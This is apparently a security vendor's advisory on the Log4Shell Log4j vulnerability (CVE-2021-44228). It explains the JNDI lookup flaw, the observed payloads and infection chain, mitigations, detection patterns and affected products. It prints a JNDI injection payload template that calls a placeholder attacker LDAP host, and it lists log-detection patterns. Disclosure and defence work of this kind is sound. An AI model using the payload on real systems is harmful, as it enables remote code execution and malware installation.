Exploits & Vulnerabilities
Patch Now: Apache Log4j Vulnerability Called Log4Shell Actively Exploited
Log4Shell, also known as CVE-2021-44228, was first reported privately to Apache on November 24 and was patched on December 9. It affects Apache Struts, Apache Solr, Apache Druid, Elasticsearch, Apache Dubbo, and VMware vCenter.
Update as of Dec 28, 2021: The latest Log4j vulnerability, CVE-2021-44832, has now been addressed in the Log4j 2.17.1 release.
Update as of Dec 22, 2021: The Impact section has been updated with information on the various payloads discovered after the start of the Log4Shell attacks.
Update as of Dec. 19, 2021: Our researchers at Zero Day Initiative published a great analysis on the Log4j vulnerability CVE-2021-45105 that causes denial of service.
Update as of Dec 18, 2021: We have created a tool that scans for Log4j vulnerabilities on servers and endpoints. Read more about it in our latest blog Are Endpoints at Risk for Log4Shell Attacks?
A vulnerability in Apache Log4j, a widely used logging package for Java has been found. The vulnerability, which can allow an attacker to execute arbitrary code by sending crafted log messages, has been identified as CVE-2021-44228 and given the name Log4Shell. It was first reported privately to Apache on November 24 and was patched with version 2.15.0 of Log4j on December 9. It affects Apache Struts, Apache Solr, Apache Druid, Elasticsearch, Apache Dubbo, and VMware vCenter. Since then, it has been disclosed that in certain non-default conditions, the original patch was incomplete; this was designated as CVE-2021-45046 and a new version of Log4j, 2.16.0, has been released.
We have developed a Log4j vulnerability tester, a web-based tool that can help identify vulnerable server applications. We’ve compiled a list of our products that can help with protection and detection on our support page as well as information pertaining to our own products being vulnerable or not.
Whenever ${some_expression} can be found, Java lookup mechanisms find the value of expression and replaces it. Some of the lookups supported by Log4j are jndi, sys, env, java, lower, and upper. JNDI lookup supports protocols such as LDAP, RMI, DNS, and IIOP. As we discuss in the following, an attacker could inject JNDI expressions in logs.
For example, an attacker can do this via HTTP requests to a web server; notably, this is the most common attack vector that we have seen currently. The lookup method will then download and execute malicious.class placed in an attacker-controlled LDAP server. In its most basic form, all the attacker has to do is to plant the following expression in the logs:
${jndi:ldap://{malicious website}/a}
This will then run the malicious Java code located at http://{malicious website}/{malicious.class}.
Attacks in the wild
We have observed threat actors dropping Mirai variants and Kinsing coinminers onto vulnerable servers. While some of the network traffic is simple, other threat actors are using obfuscation in the expression to hide their traffic. Examples of these can be found at the end of this entry.
Ransomware operators were also reportedly exploiting Log4Shell, particularly those behind the Khonsari ransomware family. We detect the Khonsari ransomware payload as Ransom.MSIL.KHONSARI.YXBLN.
Infection chain
Here is a possible infection flow from attacks that might exploit Log4Shell:
Initial access
This vulnerability is caused by the “lookup” mechanism in log4j 2.x. When calling the log method in the application, log4j 2.x will call the format method to check the specific characters ${ in each log. If these characters are present, the “lookup” function will be called to find strings after ${ and the said strings replaced with the real value found before. It has been observed that there are different forms of lookups, such as Java Naming Directory Interface (JNDI) lookup, which allow variables to be retrieved by JNDI.
Several JNDI lookup protocols are supported to allow remote lookups like LDAP and RMI. If the log contains the strings ${jndi:logging/context-name}, the method lookup will be called to find the string jndi:logging/context-name.
The attacker might then set a malicious Java class on an attacker-controlled LDAP server. By then, the “lookup” function will be used to execute the malicious class on the remote LDAP server.
Execution
Once the exploit succeeds, depending on the contents of the URL in the lookup, the server then interprets the string. This might then lead to arbitrary shell commands in various forms like Java Class, JavaScript, and Unix shell, amongst others.
Lateral movement
Cobeacon components, which can be used for lateral movement, were also seen to be downloaded. These can also be used for lateral movement and might then lead to a possible ransomware infection, as Cobeacon components have been observed in a variety of ransomware attacks.
Credential access
The vulnerability might also lead to the download of malware with credential-stealing capability, such as Kirabash.
Impact
Currently, the observed payloads are the Mirai botnet and Kinsing coinminer. The following are two of the possible impacts:
- Resource hijacking. Coinminers will use up resources to mine cryptocurrency, while Mirai might use the affected systems as part of its botnet for activities such as distributed denial of service (DDoS) or spamming.
- Network denial of service (DoS). Mirai can make use of the affected system to launch DDoS/DoS attacks as part of its routine.
We have also observed the following payloads since Log4Shell was discovered:
- Elknot DDoS botnet (ELF_SETAG.SM)
- Tellyouthepass ransomware (Ransom.Win64.TYTPASS.THLBOBA)
- Mikcer virus (PE_WAPOMI.BM)
- Khonsari ransomware (Ransom.MSIL.KHONSARI.YXBLN) + Orcus RAT
- Dridex banking trojan + Meterpreter (python)
- Tsunami/Muhstik (Backdoor.Linux.TSUNAMI.YXBLM)
- Cobalt strike (Backdoor.Win64.COBEACON.SMA)
- Monero miners (Coinminer.Linux.MALXMR.PUWENM, Coinminer.Linux.MALXMR.PUWEMA)
Using Trend Micro Vision One, we conducted a root cause analysis (RCA) to help analysts understand the chain of events of the attacks that attempt to exploit Log4Shell. View the RCA here.
Patch and Mitigation
Though the attacks in the wild are predominantly delivered over HTTP, the vulnerability could be exploited over any protocol wherein user input data is logged using Log4j. Hence, we highly recommend everyone to upgrade to Log4j 2.16.0. Meanwhile, until the vulnerable instances are patched, the vulnerability can be mitigated through the following steps :
- For >=2.10, set system property log4j2.formatMsgNoLookups to true.
- For >=2.10, set environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
- For 2.0-beta9 to 2.10.0, remove JndiLookup.class from class path: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
One recommended best practise is to limit the egress traffic to internet from necessary ports only.
It is important to note that the aforementioned steps are most applicable in cases where Log4j is used directly. Other patches from applications that use Log4j indirectly might also be necessary. As the following list indicates, multiple software vendors have products that expose this vulnerability.
Detection guidance
Application logs should be monitored for the presence of these patterns or their obfuscated versions:
- ${jndi:ldap:/}
- ${jndi:ldaps:/}
- ${jndi:rmi:/}
- ${jndi:dns:/}
- ${jndi:iiop:/}
Vulnerable products, applications, and plug-ins
Some of the packages identified using the vulnerable version of Log4j are listed here with detailed information from the vendor.
| Product/Application/Plug-ins | Description | Details |
| RedHat | Not all RedHat packages are vulnerable, but some of the Openshift and JBoss packages are affected. | https://access.redhat.com/security/cve/cve-2021-44228 |
| Jenkins | Although Jenkins Core is not affected by default, plug-ins installed in Jenkins can use the vulnerable version of Log4J. There is also a method to verify if any of the plug-ins installed uses Log4j. The second link contains a list of the vulnerable versions of the plug-in that have been found as of this writing. | https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-44228/ |
| Apache Solr | Apache Solr releases prior to 7.4 are affected. | https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228 |
| VMWare | Multiple products are affected. | https://www.vmware.com/security/advisories/VMSA-2021-0028.html |
| Citrix | Investigation pending | https://support.citrix.com/article/CTX335705 |
| Atlassian | Atlassian is vulnerable if the default configuration was modified. | https://confluence.atlassian.com/kb/faq-for-cve-2021-44228-1103069406.html |
| NetApp | Multiple NetApp products are vulnerable. | https://security.netapp.com/advisory/ntap-20211210-0007/ |
Trend Micro Solutions
Vendor patches should be applied to mitigate possible attacks that might exploit Log4Shell. In addition, Trend Micro has released supplementary rules, filters, and detection protection that might help provide additional security against and detection of malicious components associated with such attacks. We’ve compiled a list of our products that can help with detection and prevention on our support page as well as information pertaining to our own products being vulnerable or not.
We have created a quick web-based scanning tool for identifying server applications that might be affected by Log4Shell. Find it here: https://log4j-tester.trendmicro.com/. Watch our video to learn how Trend Micro™️ Vision One and Cloud One enable discovery, detection, and protection for Log4Shell.
MITRE ATT&CK Tactics and Techniques
Indicators of Compromise (IOCs)
A list of indicators can be found in this text file. We would like to acknowledge other researchers, including those from Talos Intelligence, for making some of the indicators listed publicly available.